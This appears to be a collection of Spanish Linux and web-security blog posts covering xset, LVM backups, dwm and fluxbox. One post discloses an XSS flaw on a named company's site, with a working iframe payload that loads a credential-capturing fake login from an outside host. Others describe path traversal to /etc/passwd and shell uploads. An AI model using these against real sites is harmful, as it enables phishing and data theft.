Probé poniendo la opción Options “DPMS” “false”, configurando la X usando xset para desactivar la opción de ahorro de energia y tambien probé con vbetool, pero ninguna me dio resultado.

Buscando y buscando, encontré que existen dos opciones: DPMS y ScreenBlanking.

ScreenBlanking: Es un “apagado de pantalla/monitor” de mentira, hace que la pantalla se “apague” y se ponga negra, pero realmente sigue prendida, por lo que solamente le baja el brillo. Por defecto está seteado en 10 minutos.

DPMS: Esta es una función real del manejo de energia para las pantallas. Por defecto pasa a un estado “StandBy” luego de 20 minutos, “Suspend” luego de 30 minutos y “Off” luego de 40.

Para manejar las configurar los parametros de estas opciones podemos hacerlo mediante la configuración de la X o usando xset.

Si ejecutamos xset -q podemos ver la configuración actual:

Keyboard Control:
auto repeat:  on    key click percent:  0    LED mask:  00000000
XKB indicators:
00: Caps Lock:   off    01: Num Lock:    off    02: Scroll Lock: off
03: Compose:     off    04: Kana:        off    05: Sleep:       off
06: Suspend:     off    07: Mute:        off    08: Misc:        off
09: Mail:        off    10: Charging:    off    11: Shift Lock:  off
12: Group 2:     off    13: Mouse Keys:  off
auto repeat delay:  660    repeat rate:  25
auto repeating keys:  00ffffffdffffbbf
fadfffefffedffff
9fffffffffffffff
fff7ffffffffffff
bell percent:  50    bell pitch:  400    bell duration:  100
Pointer Control:
acceleration:  2/1    threshold:  4
Screen Saver:
prefer blanking:  yes    allow exposures:  yes
timeout:  0    cycle:  600
Colors:
default colormap:  0×20    BlackPixel:  0    WhitePixel:  16777215
Font Path:
/usr/share/fonts/misc,/usr/share/fonts/100dpi:unscaled,/usr/share/fonts/75dpi:unscaled,/usr/share/fonts/TTF,/usr/share/fonts/Type1,/usr/share/fonts/misc/,/usr/share/fonts/TTF/,/usr/share/fonts/Type1/,/usr/share/fonts/100dpi/,/usr/share/fonts/75dpi/,built-ins
DPMS (Energy Star):
Standby: 600    Suspend: 600    Off: 600
DPMS is Disabled
Font cache:
Server does not have the FontCache Extension

Fijarse en la sección “DPMS”, aparecen tres valores, standby, suspend, off que estan seteados en 600 segundos, es decir, 10 minutos. Para configurar estos valores debemos hacer lo siguiente:

xset dpms 300 600 900
El primer número corresponde a Standby, el segundo a Suspend y el tercero a Off. Para desactivarlo podemos dejarlo en cero:
xset dpms 0 0 0
Tambien podemos desactivar directamente el DPMS con
xset -dpms
Y para activarlo cambiamos el signo menos (-) por un signo mas: +

Si desactivamos DPMS veremos que seguirá apagandose el monitor, pues debemos desactivar (o aumentar el valor) de ScreenBlanking.

xset s 0
Seteamos el valor a 0 (desactivado).

Para más información les recomiendo el siguiente link (fue el que me ayudó a mi):

http://www.shallowsky.com/linux/x-screen-blanking.html

Compartir/Guardar

/dev/random es un archivo especial que sirve como un generador de números aleatorios, o un generador de números seudo-aleatorios. Permite el acceso a ruido ambiental recogido de dispositivos y otras fuentes [...] /dev/urandom que reutiliza la fuente interna para producir más bits seudoaleatorios. Esto implica que llamadas de lectura nunca se bloquearán, pero la salida puede contener menos entropía que una lectura de /dev/random. La intención es servir como un generador de números seudoaleatorios criptográficamente seguro. Éste puede ser utilizado en aplicaciones que no necesiten de tanta seguridad. (Wikipedia)

Para generar password aleatorias usaremos una combinación de los comandos tr y head, para poder hacer legible para humanos los bits aleatorios que nos entregará urandom.

Si hacemos un cat directamente a /dev/urandom solamente vamos a ver caracteres raros

Para “traducir” estos bits aleatorios a caracteres legibles por nosotros usaremos translate.

De esta forma, le decimos a tr que nos interprete los bits en caracteres de la A a la Z (mayúscula). Podemos jugar con el juego de caracteres que queremos obtener, por ejemplo decirle que me muestre letras de la a-z y A-Z

Tambien podemos decirle que nos muestre números y caracteres como guión o guión bajo. El comando final quedaria de la siguiente forma:

tr -dc A-Za-z0-9_ < /dev/urandom | head -c 8

Con head -c 8 le diremos que nos muestre solo los primeros 8 caracteres. Podemos cambiar su valor si deseamos caracteres de mayor o menor longitud. Al final de la linea podemos agregarle un && echo “” para que nos muestre un salto de linea al final.

[zerial@balcebu ~]$ tr -dc A-Za-z0-9_ < /dev/urandom | head -c 8 && echo
Z2_gaCcE
[zerial@balcebu ~]$ tr -dc A-Za-z0-9_ < /dev/urandom | head -c 8 && echo
Tob68gN0
[zerial@balcebu ~]$ tr -dc A-Za-z0-9_ < /dev/urandom | head -c 8 && echo
boEzFU3O
[zerial@balcebu ~]$ tr -dc A-Za-z0-9_ < /dev/urandom | head -c 8 && echo
EFfcRcuf
[zerial@balcebu ~]$ tr -dc A-Za-z0-9_ < /dev/urandom | head -c 8 && echo
cTY330uO
[zerial@balcebu ~]$ tr -dc A-Za-z0-9_ < /dev/urandom | head -c 8 && echo
l3UnaDPo
[zerial@balcebu ~]$

O una forma más elegante:

$ tr -dc A-Za-z0-9_ < /dev/urandom | head -c 8 | xargs

Compartir/Guardar

Por twitter me recomendaron varias opciones. @Apostols me recomendó las herramientas “puppet” y “rlbackup”, mientras que @ssugasti “mondorescue”, pero yo seguia con mi idea de usar directamente “dd”. Debía hacer el mismo procedimiento en mas de 40 servidores, por lo que usar una aplicación “cliente->servidor” no era mi solución. Usar aplicaciones que requieran modo grafico o que requieran mucha interacción con el usuario tampoco me servian, yo necesitaba algo automatizado que pueda dejar corriendo de noche y volver al otro día y encontrar el trabajo hecho.

Leyendo el manual de LVM, especialmente el de lvcreate, encontré la opción “snapshot” que básicamente le toma una “foto” al volumen lógico de origen y crea un nuevo volumen con ese preciso instante en que se hizo el snapshot, de ésta forma la partición original podrá ser actualizara mientras que el snapshot se respalda sin problemas. Luego de eso, el snapshot se elimina y se guarda la imágen. La rutína sería mas o menos asi:

# lvcreate --snapshot /dev/Vol00/var --name var-snap -L100k
# dd if=/dev/Vol00/var-snap of=/backup/var.img
# lvremove -f /dev/Vol00/var-snap

De esta forma, creamos un snapshot llamado “var-snap” en base a la partición (o volumen) /dev/Vol00/var, luego, usando dd, creamos la imágen de dicha partición y la guardamos en /backup. Finalmente eliminamos el snapshot.
Para tener aún más certesa de que todo funcionaría, tambien decidí empaquetar, comprimir y guardar los ficheros, por lo que antes de eliminarla (lvremove) la debo montar y hacer un tar. La rutina quedaría así:

# lvcreate --snapshot /dev/Vol00/var --name var-snap -L100k
# dd if=/dev/Vol00/var-snap of=/backup/var.img
# mount /dev/Vol00/var-snap /mnt
# tar cfjv /bakcup/var.tbz2 /mnt
# umount /mnt
# lvremove -f /dev/Vol00/var-snap

En mi caso, /backup corresponde a un punto de montaje de red NFS.
Mi misión era realizar ésta misma rutina en más de 40 servidores, por lo que necesitaba hacer un script que se paseara por todos los servidores y ejecutara estos comandos.

#!/bin/bash

IDENTITYFILE=$HOME/.ssh/id_rsa
MACHINES=servidores.list
DATE=$(date +%d%m%Y)
NFS=/mnt/imagenes/servers/
DIR_SNAPSHOT=/mnt/snapshot

for server in $(cat servidores.list);
do
        echo "Respaldando $server ..."
        ssh -i $IDENTITYFILE $server "lvdisplay" >/tmp/lvdisplay_temp
        lvdisplay=$(awk '
                /LV Name/ { name = $3 }
                /VG Name/ { print name","$3 } ' /tmp/lvdisplay_temp)
        for _logicalv in $lvdisplay;
        do
                lvname=$(echo $_logicalv |cut -f1 -d ","|cut -f4 -d "/")
                logicalv=$(echo $_logicalv |cut -f2 -d ",")
                echo -e "\tVolumen Logico: $lvname"
                ssh $server "lvcreate --size 100m --snapshot --name $lvname-snap /dev/$logicalv/$lvname"
                ssh $server "mount /dev/$logicalv/$lvname-snap $DIR_SNAPSHOT"
                ssh $server "mkdir $NFS$server"
                ssh $server "tar cfj $NFS$server/snapshot_$lvname-$DATE.tar.bz2 $DIR_SNAPSHOT"
                ssh $server "umount $DIR_SNAPSHOT"
                ssh $server "dd if=/dev/$logicalv/$lvname-snap of=$NFS$server/image_$lvname-$DATE.img"
                ssh $server "lvremove -f /dev/$logicalv/$lvname-snap"
                echo -e "\tArchivo imagen: $NFS$server/image_$lvname-$DATE.img"
                echo -e "\tArchivo tarball: $NFS$server/snapshot_$lvname-$DATE.tar.bz2"
        done
done
scp /tmp/lvdisplay_temp $server:$NFS$server/lvdisplay

El script trabaja con la salida del comando lvdisplay que entrega una salida con los detalles de cada volumen lógico. Lee un fichero llamado servidores.list y hace un recorrido línea por línea, conectándose a cada servidor y ejecutando las instrucciones necesarias. Para hacer el proceso más eficiente y automatizado es necesario, previamente, copiar todas las claves públicas a cada servidor, para evitar la autentificación.

Compartir/Guardar

Para lograrlo, simplemente tenemos que agregar un par de líneas al config.h y volver a compilarlo.

Debemos descargar los ficheros bstack.c y bstackhoriz.c y agregar las siguientes líneas a nuestro fichero de configuración config.h, despues de la definición de la variable mfact y antes de la definición de layouts:

#include "bstack.c"
#include "bstackhoriz.c"

Y dentro de la definición de layouts debemos agregar:

{ "TTT",      bstack },
{ "===",      bstackhoriz },

El fichero config.h se debería ver mas o menos así:

[...]

/* layout(s) */
static const float mfact      = 0.55; /* factor of master area size [0.05..0.95] */
static const Bool resizehints = True; /* False means respect size hints in tiled resizals */

#include "bstack.c"
#include "bstackhoriz.c"

static const Layout layouts[] = {
        /* symbol     arrange function */
        { "TTT",      bstack },
        { "[]=",      tile },    /* first entry is default */
        { "><>",      NULL },    /* no layout function means floating behavior */
        { "[M]",      monocle },
        { "===",      bstackhoriz },
};

/* key definitions */
#define MODKEY Mod1Mask
#define TAGKEYS(KEY,TAG) \

[...]

Imágenes:

Pueden encontrar el artículo original en el siguiente link:
http://dwm.suckless.org/patches/bottom_stack

Compartir/Guardar

La empresa afectada es una inmobiliaria y constructora “Yagode”, la vulnerabilidad XSS se encuentra en el script “proyectos.php“, al no parsear la variable tipo. Tiene protección contra XSS, pero no es efectiva. Podemos comprobar ingresando a

http://www.yagode.cl/proyectos.php?Tipo=<script>alert(this)</script>

Obtenemos el mensaje de error 406 “Not Acceptable”,

Not Acceptable

An appropriate representation of the requested resource /proyectos.php could not be found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

Sin embargo, permite incluir otro tipo de código como un iframe.

Vamos a armar un pequeño código en php con un formulario que nos capture la información, simulando un login, bien simple, que cumpla con el estándar del sitio web (fondo azúl y bien feo)

< ?php
if($_GET['login'] == "ok")
        die("user: ".$_POST['user']."pass: ".$_POST['pass']);
?>

Usuario:

Password:

Incluimos nuestro script en el iframe:

http://www.yagode.cl/proyectos.php?Tipo=<iframe frameborder=0 src=http://zerial.org/yagode.php width=500 height=200</iframe>

Ingresamos nuestra información, usuario y contraseña, y vemos como el script php que hicimos se encarga de guardar la información y mostrarla, llenamos el formulario con datos de prueba como usuario=miusuario y password=mipassword, al presionar el botón “ingresar“, veremos la siguiente pantalla:

Perfectamente podemos engañar a los empleados o clientes de ésta empresa, para que ingresen a éste sitio y nos entreguen información confidencial. Con un poco de ingeniería social y tiempo.

NOTA: La empresa encargada de éste sitio fue notificada de los fallos hace mucho tiempo (más de 2 meses)

Compartir/Guardar

La respuesta a primera vista sería “Es imposible, ya que sólo tiene permitido ingresar desde localhost y, generalmente, el puerto no está a la escucha de 0.0.0.0” pero si vamos más allá y tenemos un poco de imaginación, podemos llegar a pensar de que si es posible; jugando un poco con los conceptos y aplicando distintas técnicas de penetración y de búsqueda de vulnerabilidades que nos lo permitan.

La idea de ingresar “remotamente” queda descartada si pensamos en conectarnos directamente a la base de datos desde un client externo, pero podemos pensarlo cómo el hecho de lograr acceder (remotamente) de una u otra forma para lograr la conexion con el host. Por ejemplo, subiendo un fichero php que tenga las líneas necesarias para conectarse a la base de datos y hacer lo que necesitemos.

No vamos a usar fuerza bruta ni técnicas de robo de información, simplemente nos aprovecharemos de algunas vulnerabilidades comunes.

Existen muchas vulnerabilidades que nos van a permitir ejecutar algún tipo de código arbitrario de manera tal de poder conectarnos a la base de datos a nuestra manera. A continuación enumeraré las distintas vulnerabildiades que nos podrían permitir lograr nuestro objetivo.

• Remote Code Execution (RCE): Mediante ejecución de código remoto, es posible manejar arbitrariamente una conexión a la base de datos y de esta forma obtener y/o modificar los datos que nos interesan. Esta técnica podría permitir al atacante tener un control total sobre la base de datos del usuario en cuestión. Podemos ejecutar comandos como mysqldump o pg_dump en el caso de mysql o postgres, respectivamente. Tambien podemos ejecutar código php usando el la interfáz de línea de comandos (php-cli), python, perl, etc.
• Local|Remote File Include (L|RCI): Incluyendo ficheros remotos tambien es posible ejecutar código arbitrariamente, tal cómo lo describí en el punto anterior. Podemos escribir un script en php que nos haga un dump de la base de datos y que la deje en un directorio al cual tengamos acceso desde internet para luego poder descarga la información. Tambien se puede usar usando la técnica de inclusión de ficheros locale, siempre y cuando tengamos algún tipo de acceso para lograr subir ese fichero (cómo lo que explicaré en el próximo punto).
• File Upload by Authentication Bypass: Esta vulnerabilidad es muy común (lo digo por experiencia) y corresponde nada más ni nada menos al hecho de ingresar en un sistema de gestión de contenido y/o usuarios, el cual permita subir algún archivo sin validarlo (o validandolo incorrectamente). Por ejemplo, típico sistema de gestión de usuario que nos permite adjuntar un curriculum, imágen o sistema de gestión de contenido que nos permite subir alguna imágen adjunta o archivo relacionado a alguna noticia o contenido. Muchas veces estos ficheros no son validados correctamente, aveces simplemente usan una triste validación por javascript o simplemente validan la extensión, sin tomar en cuenta el mime. Entonces es cuando debemos subir algún fichero en php o el lenguaje que sea necesario para ejecutar arbitrariamente el código que necesitemos.
• FTP password discovery: Esto es súper sencillo. Con este punto me refiero al intentar descargar ficheros de configuración (mediante Directori Transversal) y tener acceso a distintos usuarios y claves para probar el acceso ftp y poder subir algún fichero que nos permita lograr nuestro propósito.
• PhpMy/PgAdmin: Simplemente, con este último punto, quiero hacer referencia a buscar instalaciones de phpmyadmin o phppgadmin en otros sitios del servidor. Generalmente, un servidor aloja más de un sitio web y más de alguno es vulnerable (nuestra puerta de entrada).

Hay veces que hay que recorrer todo el servidor para encontrar una única puerta de entrada. Como bien dije en el último punto, generalmente los servidores alojan más de un sitio web y nunca falta que uno de ellos sea vulnerable, el que nos permita el ingreso directo o indirecto al servidor y de esta forma ejecutar código arbitrariamente.

Compartir/Guardar

Con una URL de este tipo, es posible forzar un FPD modificando las variables “dir” y “test”, cambiadolas por cualquier cosa que sepamos que no existe y de esta forma obtendremos un fichero php con un error, el cual nos revelará el path de la aplicación. Si cambiamos el valor de la variable “dir” a “../../../../../../etc/” y “file” a “passwd”, es muy probable que nos deje descargar el fichero /etc/passwd, lo mismo con cualquier otro fichero. De esta misma forma, podemos ir descargando uno a uno los códigos fuentes del sistema php y poder acceder a los usuarios y claves de conexion a la base de datos y otro tipo de información confidencial.

Me voy a basar en casos reales y tomando como ejemplo los típicos errores e irresponsabilidades de programación de los desarrolladores.

Este es un script que me descargué hace un tiempo y no recuerdo de que sitio, pero es un ejemplo real y lo más probable es que aún esté en línea. Si nos fijamos línea por línea, el script realiza lo siguiente:

Lee las variables directamente desde la URL (GET) y en primera instancia, obtiene el valor de la variable “nombre” y se la asigna a $nombre, esto es para darle el nombre al archivo una vez que lo descarguemos. Luego, en la variable $enlace, guardará el path completo de lo que deseamos descargar, si le pasamos por URL los parametros folder=archivos/&archivo=test.pdf, el valor de la variable $enlace será “archivos/test.pdf”. Luego se enviarle las cabeceras al navegador, el script php leerá el fichero correspondiente al valor de la variable $enlace y forzará al navegador a descargarlo. De esta forma, si modificamos la url a nuestro modo, podremos descargar el fichero que queramos, ya que el script no tiene ninguna validación.

La forma correcta para hacer un script de este tipo, sería sin trabajar directamente con los parametros pasados por url y tenerlos encapsulados en algun lugar, ya sea en una base de datos, un switch o como sea, pero nunca directamente o bien, teniendo definido de forma explícita el directorio donde se trabaja.
Si tomamos el mismo ejemplo anterior y lo corregimos, debería quedar algo así:

De esta forma, jamás podremos cambiar el valor de la variable “$folder” y nunca podremos descargar un fichero que esté detrás del directorio de descarga explícitamente definido “archivos_para_descarga”. Esto, sería una forma rápida y fácil de solucionarlo, pero creo que la mejor forma es volver a hacerlo y hacerlo bien. Teniendo un “administrador” de subidas que almacene la información en una base de datos para luego realizar la descarga sólo con el ID del fichero o bien, hacer las descargas directamente con su path absoluto (http://sitio.com/archivos_para_descarga/2009/mi_documento.pdf).

Como ya he dicho, este error es muy común y basta con preparar una búsqueda con los parámetros necesarios en Google para poder acceder a sitios con estas vulnerabilidades. El problema es que con este bug, no solo comprometes la seguridad de tu sistema y de tu usuario, tambien la seguridad del resto de los usuarios del servidor, ya que el script se ejecutará como usuario www-data o apache (en la mayoría de los servidores) y tiene acceso no solo a tus ficheros.

Compartir/Guardar

Las funciones que necesitamos de la API de Drupal son:

1. user_save(): Permite la manipulación de los usuarios.
2. node_save(): Manipulación de los nodos (contenidos).
3. db_query(): Nos permite realizar consultas a la base de datos usando la configuración de Drupal.

Con estas funciones ya podemos pensar en realizar una migración total o partial de un sitio. La lógica del asunto es sencilla, tenemos que hacer un “wrapper” que conecte ambas plataformas (hablando de base de datos y ficheros), hacer que por un lado se conecte a la base de datos de la plataforma antigua y por otro lado a Drupal, que vaya leyendo los datos desde la plataforma antigua y luego insertandolos en la nueva plataforma usando las funciones de la API, por ejemplo, si tenemos la tabla usuarios con los tipicos campos nombre, email, usuario, password, en Drupal la estructura de la tabla {users} es similar, contiene los campos email, name y pass (los que nos sirven) entre otros. Entonces lo que debemos hacer es un pequeño script que haya un SELECT email, password, usuario FROM usuarios y hacer que cada registro que lea, lo inserte en la tabla {users} mediante la API (función user_save()).
Ejemplo:

El tema de la contraseña es más complicado, va a depender únicamente de que si la contraseña está en texto plano o encriptada en la base de datos de origen. Si esta en texto plano, entonces basta con agregar al arreglo userdata el valor $data['password'] a la variable pass. De lo contrario, tendremos que hacer un pequeño truco. Creamos el usuario asignandole una clave fake, por ejemplo 123456 y posteriormente, usando la función db_query, hacemos el UPDATE necesario para cambiarle el password al usuario creado, ingresando directamente el HASH original (pensando que esta en md5).

Para realizar la migración de contenido, el procedimiento es de la misma forma, seleccionar la información de un lado y llevarla a otra usando la función node_save.
Si algo se nos escapa de las manos y no sabemos como hacerlo, basta con que entendamos el modelo de la base de datos e ingresemos directamente las consultas a la base de datos (no lo recomiendo).

Hace unos días me tocó la tarea de realizar la migración de una plataforma X a Drupal, para esto diseñe una clase que me permite hacer la migración paso por paso.

Esta clase nos permite crear una instancia para trabajar con Drupal y de esta forma poder migrar usuarios, contenidos, asignar taxonomias/categorias, resetear claves, insertar comentarios, etc. Cada método público debe ser llamado pasando como argumento un array con la información que desea ser insertada. Por ejemplo, una llamda al método createUser:

Sencillamente, lo que hace este pedazo de código es consultar en una base de datos por todos los usuarios y posteriormente, por cada registro encontrado, llamar al método “createUsers” pasándole como argumento el row correspondiente al ciclo.

Les dejo el script “Migrar.php” que instancia la clase Drupal y hace uso de sus métodos:

NOTA Estos scripts son los originales que he usado para migrar una plataforma, si alguien quiere darle un uso personal debe hacer las modificaciones correspondientes que se adapten a su propio modelo de datos y a sus propias necesidades.

Compartir/Guardar

La teoría
Copiar todos los archivos (por red) de una máquina a otra manteniendo los permisos e integridad de cada fichero.

La práctica
Lo haremos en 4 sencillos pasos y haciendo uso de la herramienta rsync

1. Preparar nueva máquina

Creamos el disco usando dd y le damos formato:
dd if=/dev/zero of=disco.img bs=1M count=10000
mkfs.ext3 disco.img
En este caso 10 mil megas y usamos ext3.
La montamos y pasamos al siguiente paso:
mkdir temporal && mount -text3 -oloop disco.img temporal/

2. Preparar máquina remota

lo único que haremos será bajar los servicios para que tenga la menor carga posible (httpd, base de datos, etc etc)

3. Traslado de ficheros

Lo haremos con el comando rsync:
/usr/bin/rsync -a --delete --numeric-ids --relative --delete-excluded --rsh=/usr/bin/ssh root@maquina.remota:/ temporal/

4. Iniciar máquina nueva

Editamos los ficheros /etc/fstab para que coincidan con nuestra configuración de la máquina virtual y luego para que no tengamos conflictos con la máquina antigua, editamos tambien /etc/network/interfaces (o como se llame el fichero de la configuración de la red de la distribución)

Finalmente, desmontamos temporal/ (umount temporal/) e iniciamos la máquina y wala!!! Inicio sin problemas.

Probado en Debian Lenny.

Compartir/Guardar

Voy a listar las vulnerabilidades que, según mi experiencia, son las más comunes en los sitios web.

• File/Path Disclosure: Esta vulnerabilidad es más comun de lo que uno pueda imaginar, aunque generalmente para poder llegar a explotarla es necesario pasar algun sistema de autentificacion ya que es muy comun en sistemas donde los usuarios tienen acceso a descargar o subir información como un sitio de una Universidad, biblioteca, intranet, etc.

• XSS (Cross-Site Scripting): Esta vulnerabilidad tambien es muy comun, aunque es un poco mas compleja de explotar, requiere conocimiento en javascript, manejos de cookies y un poco de experiencia en el tema. Con esta vulnerabilidad es posible robar cookies para ingresar a algun sistema autentificado con un usuario ajeno.

• SQL Injection: Hace un tiempo fue el boom de esta vulnerabilidad, muchos sitios tenian fallos de este tipo. Estuvo de moda explotar vulnerabilidades de phpnuke o phpbb basadas en SQL Injection que nos permitian escalacion de privilegios. Esta tecnica consiste basicamente en manipular una consulta sql para lograr nuestro proposito como saber nombre de tablas, version de la base de datos y tambien manipular ingresos de datos a la base de datos para modificar campos de tablas, crear archivos, cambiar privilegios, etc.

• Authentication bypass:  Desde mi punto de vista, esta vulnerabilidad, bug o fallo es uno de los mas estupidos que un programador/desarrollador puede cometer. Para hacer un login es necesario manejarse con el tema de cookies o sesiones, segun el lenguaje o las necesidades y cuando una persona sin estos conocimientos intenta hacer un codigo de autentificacion sucede lo peor. El caso mas comun y sencillo de este tipo de fallo es saltarse el login haciendo un cambio en la URL. Por ejemplo, tenemos http://example.com/login.php y nos damos cuenta que ese login.php hace un POST con nuestros datos a http://example.com/admin/valida.php, luego, sin ingresar ningun usuario ni password escribimos manualmente la url http://example.com/admin y sorpresa! estamos en el sitio de admin sin usuario pass ni nada, habiendonos saltado el login. Aunque no lo crean, es bastante comun.

Compartir/Guardar

Instalacion
En la mayoria de las distribuciones como Fedora, Debian, Archlinux, Gentoo, etc se puede encontrar bajo el nombre de linuxlogo o linux_logo, instalandolo directamente con el gestor de paquetes desde los repositorios de cada distribucion.
Tambien puedes descargar el source y compilarlo tu mismo.

Uso

$ linux_logo

Screenshots

linux_logo -a && linux_logo -b && linux_logo -c

Linux logo Debian

Compartir/Guardar

Lo haremos definiendo hotkeys. Primero debemos reconocer el numero (KeyCode) de la tecla que queremos definir o configurar, esto lo hacemos ejecutando xev, nos abrira una ventana rara donde solamente debemos presionar la tecla, podemos darnos cuenta que si presionamos la tecla que tiene el icono para subir o bajar el volumen sin presionar Fn nos marcara un codigo y si la presionamos con Fn marcara otro codigo, entendemos entonces que son distintas teclas o distintos KeyCodes. xev nos mostrara una salida asi:

KeyPress event, serial 34, synthetic NO, window 0×2200001,
root 0×69, subw 0×0, time 22118506, (485,592), root:(666,646),
state 0×0, keycode 9 (keysym 0xff1b, Escape), same_screen YES,
XLookupString gives 1 bytes: (1b) ”
XmbLookupString gives 1 bytes: (1b) ”
XFilterEvent returns: False

A nosotros solamente nos interesa lo que esta en negritas. Lo primero es el numero de tecla y lo segundo marcado es el nombre (o alias) de la tecla, si no nos aparece lo segundo nos guiamos por lo primero resaltado.
Por ejemplo, a continuacion les mostrare lo que muestra xev cuando presiono la tecla para bajar el volumen con y sin Fn:

Con Fn

KeyRelease event, serial 34, synthetic NO, window 0×2200001,
root 0×69, subw 0×0, time 22273462, (550,501), root:(749,573),
state 0×0, keycode 174 (keysym 0×0, NoSymbol), same_screen YES,
XLookupString gives 0 bytes:
XFilterEvent returns: False

Sin Fn

KeyPress event, serial 34, synthetic NO, window 0×2200001,
root 0×69, subw 0×0, time 22269330, (550,501), root:(749,573),
state 0×0, keycode 105 (keysym 0xff56, Next), same_screen YES,
XLookupString gives 0 bytes:
XmbLookupString gives 0 bytes:
XFilterEvent returns: False

El KeyCode cambia de 174 a 105.

Cuando tengamos identificados los numeros de las teclas entonces editamos el fichero keys de fluxbox, generalmente esta en ~/.fluxbox/keys, nos vamos al final del fichero y agregamos las hotkeys con su comando correspondiente.
En mi caso tengo lo siguiente:

None 174 :ExecCommand /usr/bin/amixer set Master 3dB-
None 176 :ExecCommand /usr/bin/amixer set Master 3dB+
None 162 :ExecCommand /usr/bin/audacious -t
None 164 :ExecCommand /usr/bin/audacious -s
None 144 :ExecCommand /usr/bin/audacious -r
None 153 :ExecCommand /usr/bin/audacious -f
None 223 :ExecCommand /usr/bin/xscreensaver-command -lock

Definiciones de las teclas y sus funciones:
174 y 176 Sube y baja el volumen, +3dB/-3dB respectivamente.
162, 164, 144, 153 Junto con lo que audacious (xmms, mplayer u otro) nos permite, podremos parar lo que estamos escuchando, poner play, pasar al siguiente o anterior tema.
223 Activamos el bloqueo de pantalla con la ayuda de xscreensaver.

Compartir/Guardar